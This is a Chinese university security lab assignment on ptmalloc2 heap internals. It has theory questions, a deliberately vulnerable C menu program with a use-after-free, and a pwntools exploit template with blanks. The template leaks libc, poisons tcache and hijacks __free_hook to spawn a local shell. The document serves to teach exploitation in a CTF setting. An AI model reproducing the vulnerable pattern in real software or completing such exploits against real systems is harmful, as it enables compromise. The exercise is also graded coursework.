实验 - pwn专题三

实验简介

ptmalloc2堆管理器的原理，以及简单的堆利用

基础部分

ptmalloc2原理 60分

根据ptmalloc2的堆管理机制，回答下列问题：

1. chunk作为内存分配的最小单元，其数据结构中包含三个标志位，这三个标志分别是什么？（5分）分别有什么作用？（5分）
2. 假设现在用户程序中调用`malloc(0x37)`来申请动态内存，最终得到的chunk大小是多少？（5分）实际上该chunk可用的数据区域有多大？（5分）
3. ptmalloc2同过各种bins来管理释放的堆块（freed chunk），这些bins分别是什么？（5分）管理的chunk的大小范围是多少？（5分）其中哪些是通过双向链表组织，哪些通过单向链表组织？（5分）
4. 简述tcache bin和fastbin两者的区别，列出两点即可。（名字不同不算：））（5分）
5. 在`malloc`的流程中，假设堆管理器在tcache bin和fastbin中均没有成功找到合适的chunk，请问下一步应该从哪个bin中搜索？（5分）假如所有的bins中都找不合适的chunk，请问这个时候从哪里获取合适的chunk？（5分）（**假定`malloc`申请的内存空间大小足够小，单线程，不考虑mmap的情况**）
6. 在`free`的流程中，假定chunk的大小为0x60，且此时tcache bin和fastbin都是空的，请问这个chunk会插入到哪个bin中？（5分）假定chunk的大小为0x500，怎么判断该chunk能不能进行前向合并的操作？（5分）（**单线程，不考虑mmap的情况**）

UAF漏洞利用 40分

针对下列存在UAF漏洞的程序，补全提供的`exp.py`攻击脚本中空白的地方，完成UAF利用，获取本地的shell，报告中附上最终的`exp.py`脚本以及获取本地shell后执行任意命令的截图（如pwd，id）。（**希望大家最好不要直接使用讲课时演示的exp，否则酌情扣分**）

vul.c

```
// gcc -o vuln vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *parr[0x10];

void add()
{
    int index, size;
    printf("Index: ");
```

```
    scanf("%d", &index);
    printf("Size: ");
    scanf("%d", &size);
    parr[index] = malloc(size);
}

void show()
{
    int index;
    printf("Index: ");
    scanf("%d", &index);
    puts(parr[index]);
}

void edit()
{
    int index, size;
    printf("Index: ");
    scanf("%d", &index);
    printf("Content: ");
    read(0, parr[index], 0x18);
}

void delete()
{
    int index;
    printf("Index: ");
    scanf("%d", &index);
    free(parr[index]);
}

void menu()
{
    puts("1. add");
    puts("2. show");
    puts("3. edit");
    puts("4. delete");
    printf(">> ");
}

void init_buf()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

int main()
{
    init_buf();

    while (1)
    {
        menu();
```

```
        int choice;
        scanf("%d", &choice);

        switch (choice)
        {
        case 1:
            add();
            break;
        case 2:
            show();
            break;
        case 3:
            edit();
            break;
        case 4:
            delete();
            break;
        default:
            puts("Invalid choice!");
            break;
        }
    }

    return 0;
}
```

exp.py，需要补全的地方用`{TODO}`表示：

```
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process("./vuln")

def add(index, size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Index: ", str(index))
    p.sendlineafter("Size: ", str(size))

def show(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("Index: ", str(index))

def edit(index, content):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("Index: ", str(index))
    p.sendafter("Content: ", content)

def delete(index):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("Index: ", str(index))

# First, leak the libc address
add(0, 0x500)
```

```
add(1, 0x20)
delete(0)
show({TODO})    # Here, we will get the the value of the chunk's fd
main_arena_offset = u64(p.recv(6) + b"\x00" * 2)
libc_base = main_arena_offset - {TODO} + {TODO}
__free_hook = libc_base + {TODO}
system = libc_base + {TODO}

# Second, use UAF to hijack tcache bin linked list
add(0, 0x18) # parr[2] = malloc(0x18)
add(1, 0x18) # parr[2] = malloc(0x18)
delete(0)
delete(1)
edit({TODO}, {TODO})

# Third, hijack __free_hook into system and trigger __free_hook
add(0, 0x18)
add(1, 0x18)
edit(0, "/bin/sh\x00")
edit({TODO}, {TODO})

# Finally, trigger __free_hook
{TODO}

print("main_arena_offset: %s" % hex(main_arena_offset))

p.interactive()
```

挑战部分

- tcache bin漏洞利用：
  - zjusec "baby tcache"：https://zjusec.com/challenges/78
- unlink attack利用：
  - zjusec "lifestore"：https://zjusec.com/challenges/50

拓展问题和阅读

- CTFwiki：https://ctf-wiki.org/

  上面有很多经典的堆利用原理，有兴趣的可以参考阅读